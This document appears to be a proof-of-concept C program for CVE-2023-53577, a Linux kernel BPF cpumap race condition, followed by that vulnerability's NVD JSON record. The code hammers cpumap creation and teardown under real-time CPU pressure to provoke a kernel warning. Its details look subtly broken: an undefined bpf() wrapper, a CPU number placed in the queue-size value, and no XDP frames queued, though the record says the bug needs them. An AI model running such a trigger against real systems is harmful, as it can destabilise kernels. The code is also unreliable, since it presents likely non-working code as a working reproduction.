CVE-2023-53577

// PoC for CVE-2023-53577 - Linux Kernel BPF cpumap Race Condition // This PoC demonstrates triggering the race condition in cpu_map_kthread_stop // Requires: root or CAP_BPF/CAP_NET_ADMIN privileges, Linux kernel < 6.5 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <sys/resource.h> #include <bpf/bpf.h> #include <bpf/libbpf.h> // Structure to hold CPU map FD static int g_cpumap_fd = -1; // Thread function to create RT scheduling pressure static void *rt_pressure_thread(void *arg) { struct sched_param sp = { .sched_priority = 50 }; pthread_setschedparam(pthread_self(), SCHED_FIFO, &sp); volatile long long counter = 0; while (1) { counter++; // Busy loop to create CPU pressure if (counter % 1000000 == 0) { usleep(1); // Yield occasionally } } return NULL; } // Create a BPF CPU map with specified CPU static int create_cpumap(int cpu) { int fd; __u32 key = 0; __u32 value = cpu; // BPF_MAP_TYPE_CPUMAP creation union bpf_attr attr = {}; attr.map_type = 6; // BPF_MAP_TYPE_CPUMAP attr.key_size = 4; attr.value_size = 4; attr.max_entries = 1; fd = bpf(BPF_MAP_CREATE, &attr, sizeof(attr)); if (fd < 0) { perror("bpf_map_create"); return -1; } // Update the map with target CPU attr.map_fd = fd; attr.key = (__u64)&key; attr.value = (__u64)&value; if (bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)) < 0) { perror("bpf_map_update_elem"); close(fd); return -1; } return fd; } // Rapidly create and destroy CPU maps to trigger race condition static void *trigger_race(void *arg) { int iterations = *(int *)arg; for (int i = 0; i < iterations; i++) { int fd = create_cpumap(i % 8); if (fd >= 0) { // Immediately close to trigger kthread_stop // while kthread may not have started yet close(fd); } // No sleep - maximize race window } return NULL; } int main(int argc, char **argv) { int num_threads = 4; int iterations = 10000; printf("CVE-2023-53577 PoC - BPF cpumap Race Condition\n"); printf("Requires: Linux kernel < 6.5, root/CAP_BPF\n\n"); if (getuid() != 0) { fprintf(stderr, "Error: must run as root\n"); return 1; } // Set RT scheduling for main process struct sched_param sp = { .sched_priority = 1 }; setpriority(PRIO_PROCESS, 0, -20); // Launch RT pressure threads pthread_t rt_threads[4]; for (int i = 0; i < 4; i++) { pthread_create(&rt_threads[i], NULL, rt_pressure_thread, NULL); } // Launch race trigger threads pthread_t race_threads[4]; for (int i = 0; i < num_threads; i++) { pthread_create(&race_threads[i], NULL, trigger_race, &iterations); } // Wait for completion for (int i = 0; i < num_threads; i++) { pthread_join(race_threads[i], NULL); } printf("Race condition trigger complete. Check dmesg for warnings.\n"); printf("Look for: WARNING: CPU: ... at kernel/bpf/cpumap.c:135\n"); return 0; } // Build: gcc -o poc poc.c -lbpf -lpthread // Run: sudo ./poc // Expected: Kernel warning at kernel/bpf/cpumap.c:135 (put_cpu_map_entry+0xda/0x220)

{"cve": {"id": "CVE-2023-53577", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:53.363", "lastModified": "2026-03-23T18:41:33.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf, cpumap: Make sure kthread is running before map update returns\n\nThe following warning was reported when running stress-mode enabled\nxdp_redirect_cpu with some RT threads:\n\n ------------[ cut here ]------------\n WARNING: CPU: 4 PID: 65 at kernel/bpf/cpumap.c:135\n CPU: 4 PID: 65 Comm: kworker/4:1 Not tainted 6.5.0-rc2+ #1\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996)\n Workqueue: events cpu_map_kthread_stop\n RIP: 0010:put_cpu_map_entry+0xda/0x220\n ......\n Call Trace:\n <TASK>\n ? show_regs+0x65/0x70\n ? __warn+0xa5/0x240\n ......\n ? put_cpu_map_entry+0xda/0x220\n cpu_map_kthread_stop+0x41/0x60\n process_one_work+0x6b0/0xb80\n worker_thread+0x96/0x720\n kthread+0x1a5/0x1f0\n ret_from_fork+0x3a/0x70\n ret_from_fork_asm+0x1b/0x30\n </TASK>\n\nThe root cause is the same as commit 436901649731 (\"bpf: cpumap: Fix memory\nleak in cpu_map_update_elem\"). The kthread is stopped prematurely by\nkthread_stop() in cpu_map_kthread_stop(), and kthread() doesn't call\ncpu_map_kthread_run() at all but XDP program has already queued some\nframes or skbs into ptr_ring. So when __cpu_map_ring_cleanup() checks\nthe ptr_ring, it will find it was not emptied and report a warning.\n\nAn alternative fix is to use __cpu_map_ring_cleanup() to drop these\npending frames or skbs when kthread_stop() returns -EINTR, but it may\nconfuse the user, because these frames or skbs have been handled\ncorrectly by XDP program. So instead of dropping these frames or skbs,\njust make sure the per-cpu kthread is running before\n__cpu_map_entry_alloc() returns.\n\nAfter apply the fix, the error handle for kthread_stop() will be\nunnecessary because it will always return 0, so just remove it."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "5.15.126", "matchCriteriaId": "6B1E28EF-97E0-405F-AFDB-C94D23736201"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.45", "matchCriteriaId": "A0CA013D-55AF-4494-A931-AFC8EA64E875"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.4.10", "matchCriteriaId": "7BB0D94C-4FCE-46F4-A8D4-062D6A84627A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc1:*:*:*:*:*:*", "matchCriteriaId": "0B3E6E4D-E24E-4630-B00C-8C9901C597B0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc2:*:*:*:*:*:*", "matchCriteriaId": "E4A01A71-0F09-4DB2-A02F-7EFFBE27C98D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc3:*:*:*:*:*:*", "matchCriteriaId": "F5608371-157A-4318-8A2E-4104C3467EA1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc4:*:*:*:*:*:*", "matchCriteriaId": "2226A776-DF8C-49E0-A030-0A7853BB018A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/640a604585aa30f93e39b17d4d6ba69fcb1e66c9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7a1178a3671b40746830d355836b72e47ceb2490", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b44d28b98f185d2f2348aa3c3636838c316f889e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ecb45b852af5e88257020b88bea5ff0798d72aca", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}